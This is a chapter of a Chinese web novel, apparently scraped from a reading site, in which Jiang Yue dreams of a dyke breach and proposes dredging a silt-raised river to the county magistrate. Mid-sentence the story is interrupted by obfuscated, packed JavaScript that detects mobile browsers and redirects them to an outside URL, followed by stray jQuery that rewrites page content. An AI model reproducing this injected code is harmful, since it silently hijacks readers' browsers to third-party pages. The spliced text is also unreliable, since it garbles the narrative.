11. 第十一章 悬河

作品:《她靠画图拯救苍生

    张明贤找了一张画纸,看着院子内的一束桂花,捡起半截断掉的炭笔,在纸上描摹起来。


    刚一上手,脆弱的笔在指尖极其不适应,但张明贤将对银针的把控运用到炭笔上,也顺利的画完一小节桂花,白描的起笔与速写的底层逻辑其实相通,对他而言并不是什么难事。


    与姜樾刚劲有力的转折不同,张明贤的桂花颇具特色,线条流畅,柔和圆润,俨然就是中医药材中植物的范本,若是上色也是不错的写实国画。


    “在下也略懂画图,不过草药画的多,其他的不会。不知姜大娘子可愿教?”


    张明贤看了姜樾绘图的起稿,本以为自己也是有点天赋的人,却不料姜樾拒绝了。


    “张大人日理万机,整个东望县的事务都在张大人身上,绘图这种事情需要时间去练习,张大人大可不必浪费这般时间。”


    夜里,姜樾做了一个梦。


    梦中她是一个县令,她所在的县衙连着下了一月的雨,城南河口决堤,大水倾泻而下,淹没了良田和临近的村子,站在高处俯视,低处的山谷成了一条湍急的河流,自西面浩浩汤汤向东奔去。


    河面漂浮着断裂的树干,被冲走的房梁,结实的砖瓦房还隐约看得见青砖和屋梁,泥土浇灌的房子在水里冲散,团结的泥土一块一块的浮在水面上,百姓的衣物与树枝相拥在一起,又被水流冲散,连同泡的发胀的人的身体一同向东游荡。


    她为了救木盆里的孩子,被流水冲走,生死一刻抓住一根浮木。


    却恍然发现,抓住浮木手纤细修长,虎口处有一颗红痣隐约有些眼熟。


    ——这不是她的身体!


    浮木泡的太久,在水中又湿滑,费尽毕生力气也没有坚持到有人来救她,冰冷的河水顺着鼻腔,来到肺里,凉意过后被呛得火辣辣的疼。


    姜樾觉得自己要喘不过气来,从梦中转醒,扯过面上的被子,悠悠坐起来。


    “又是被子压住了。”


    这个梦,前世她做过,车祸的前一天。


    一模一样的大水,还有那个不是她的手。


    姜樾被黑暗包裹,坐在床上,回想起刚才的梦。浮尸遍野,不知道死去了多少人,生命在夹缝中生存,又在风雪里凋零。


    前世一场意外,她来到了这里,又有几个幸运儿?可以重新来过。


    适应了黑暗的环境,渐渐能够看到一些东西,她起身来到床前,透过莹洁的月光看向窗外,爬山虎顺着树干崎岖生长,秋雨后,蘑菇和桑耳汲取雨水的力量。


    姜樾觉得梦里的那道河,地形有些像黄河,周边的环境却有些像——


    黄河又叫悬河,是地上河。


    河床不断抬高,水位上升,易决堤,易断流。


    次日,姜樾没有去荣樾画房,却来到了县衙。


    这两个月姜樾都会在固定的时间去县衙,门口的衙役轮班值守,也都认识这位姜大娘子了。


    有时姜樾抓人做模特会主动示范画作,模特也能得到一张属于自己的肖像。


    县衙的人大多都挺喜欢这位看上去文文弱弱却雷厉风行的女先生。


    “姜大娘子早啊,今儿个怎么会来县衙呢?也不是授课的日子啊。”一位衙役有些好奇,姜樾平时不授课的时候从来没有来过县衙,今天二十六号,原本是不授课的。


    “我有点事找你们大人。”姜樾没有说明原因,却引得人浮想联翩。


    衙役听说找张明贤,二人转过身露出八卦的笑容。


    一人让姜樾直接进去,另一人则进去通传。


    姜樾第二次踏入张明贤的书房。


    这一次得知姜樾来访,他提前安排人准备好茶水,在书房的外堂接待姜樾。


    姜樾刚进屋子,就询问张明贤能否看一下东望县的地理志。


    张明贤有些不解,但还是从书架中拿出一本地理志。


    他刚来东望时为了快速了解东望的各方面情况,将各种地理志,县志,名人志全部查阅了一遍,有些甚至还做的有批注。


    姜樾接过地理志,就在桌上看了起来,张明贤看着她一页一页的翻看,速度很快,有些不解:“姜大娘子识字?”


    姜樾抬起头看着张明贤。


    “这两个月和成颂一起学的,但是我还不太会写字。”


    姜樾回答完又继续低头看书。


    “萧河:位于东望县南,河水四至七月湍急,伴黄沙,水位升,年筑堤。”


    “永合二十八年、永合四十六年、昌平十七年,四月,连日大雨,东望决堤。”


    姜樾找到了想要的,将这页翻给张明贤看。


    张明贤看着这页,有些印象,连续二十年没用发生灾害并没有给予过多关注。


    却听姜樾道:“这条河有问题,四到六月水流湍急,说明河堤压力大,但凡暴雨则容易决堤。黄沙说明会泥土堆积,抬高河床。”


    “这个地方枯水季可会做什么措施么?”姜樾问。


    张明贤回想之前查阅的书籍,答到:“每年都会派人去修筑堤坝,且巡检常驻城南,水位稍高就会禀告县衙早做打算,近二十年还算稳定。”


    “不对,稳定只是表象。”姜樾摇摇头。


    “如果说泥沙沉淀抬高河床,不断修筑堤坝只会导致堤坝高度不断增加,承受的水越多,堤坝就会越脆弱,修建堤坝的材料限制,就算年年维护,每过上些年份都会有一次大的事故,看记录中频次在十几年到二十年之间的样子,上一次事故在二十一年前。”


    张明贤看着姜樾的脸,少女的脸上还没有褪去青涩,但说出的推理却有理有据,字字铿锵。


    姜樾的想法与众不同确不无道理,年年修筑堤坝,堤坝越来越高,水位却没有下降,那出问题的地方在于河床,四到七月黄色的水,水是无色的,那黄色的就是泥沙,也说的过去,但具体如何也没有人测量过河床的位置。


    “是这样的,前些日子我去了趟城南,堤坝都快赶得上城北的山高,年年筑堤水位却依旧居高不下,如果决堤,半个县城都会危险。不过姜大娘子怎么突然想起看地理志?”


    姜樾找张明贤要了张纸和笔,一边在纸上圈圈画画,一边告诉他:“昨晚做了一场梦,梦到城南决堤,感觉地理位置有些像东望,但不太确定”。


    堪堪将城北的地势画了出来,递给张明贤。


    那是昨夜她梦中的场景,复原的河流没有决堤的样子。


    “这条河水深大约多少……”


    “六十尺左右。”


    大约三百多米的距离。


    姜樾在纸上的大概估测了一下比例,在河堤上画了一道线,这是河床的位置。


    张明贤一见,头皮有些发麻,河床的位置大概算下来能


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15186871|165486||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    淹百姓房屋的一半高,若是决堤,这些百姓是几乎没有生还机会的。


    “张大人请看,河堤高度约八十尺,河床水深六十尺,河面距离堤坝一段距离,但估算一下余量不会很足。”


    “而河床几乎与百姓住宅持平,这在丰水季很危险,建议未雨绸缪,如今到丰水季时日尚早,真出什么事就不好说了。”


    这点张明贤认同,但是也是历届县令头疼的事情,每一位上任的县令都想过解决这个问题,为任职增添一笔履历,但却没用成功过,失败反而会劳民伤财。


    丰水季水量太足,泄洪一时半会也不知道往何处引流,一直修筑堤坝也无疑是治标不治本,但又并非连年都会出事故,熬过任期无事发生的县令也大有人在,既然无法从根源解决,那就顺其自然了。


    “可有枯水季?”


    姜樾记得黄河是有枯水季的,有几个月甚至会干旱。


    “有十二月到二月,水量少,有时候甚至会干涸。姜大娘子莫不是有什么好的建议?”张明贤问。


    姜樾才来几个月,不太了解这边情况,也不敢妄下定论:“建议谈不上,倒是有些想法,也不知道可不可取。”


    “愿闻其详。”


    姜樾和张明贤看着那张地势草图,姜樾又河床下划了一道线,写下歪歪扭扭,勉强辨得出的“清掏”二字。


    “既然起因是泥沙淤积,我们可以将泥沙清掏出来。用清掏的泥沙加固堤坝,或者用泥沙放淤改土。又或者将水引流至某处堰塘积攒起来,用作灌溉。”


    张明贤发觉姜樾的想法在一定程度上不谋而合,他曾经想过清掏淤泥降低水位,但思来想去没有想明白淤泥应该去向何处,却没想到还施彼身这主意。


    “所以枯水季清掏,降低河床高度,引水灌溉的话,东望县也许不需要,这边水分向来充足。”


    张明贤接过笔,在“清掏”二字旁边写上“引流”。


    “引流的话,可以与隔壁莲花县商议,我们这水分充足,可是山那边的莲花县水气被山阻挡,经常干旱,也许可以请他们一起帮忙。”


    姜樾歪歪扭扭的字体与张明贤的清秀有力的字并列在一起,如阳春白雪与下里巴人的碰撞。


    姜樾一直好奇,为什么新来的县令那样年轻,与印象里的有些不同,最终还是决定问出来。


    张明贤却混不在意的直接诉说出来。


    “一般情况,县令一般是由本县的举人担任,说来惭愧,我是去年的进士,今年因为监考失职,左迁来的,既来之则安之,想着为百姓做点事也好。”


    姜樾听到张明贤说自己是进士时,双眼放光,她见过明朝状元第一甲赵秉忠的试卷,全文2460字工整小楷,无一错字。


    “那你们卷面是否,不能有错字?”


    张明贤却道:“不能错字是基本的,而且得清晰工整,不然阅卷人能直接不看,当做废卷的。”


    姜樾差异,这般严苛。


    “那我可以要一本张大人的字帖么?”姜樾有些不好意思,手稿在古代算是比较私密的物件,女子要男子字帖算是有些突兀。


    张明贤犹豫了一下。


    姜樾以为自己冒犯了张明贤,连忙解释。


    “我没有别的意思,就是觉得张大人字好看,想要一本回去临摹,我这字,有些丑的别出生面,实在不好见人。”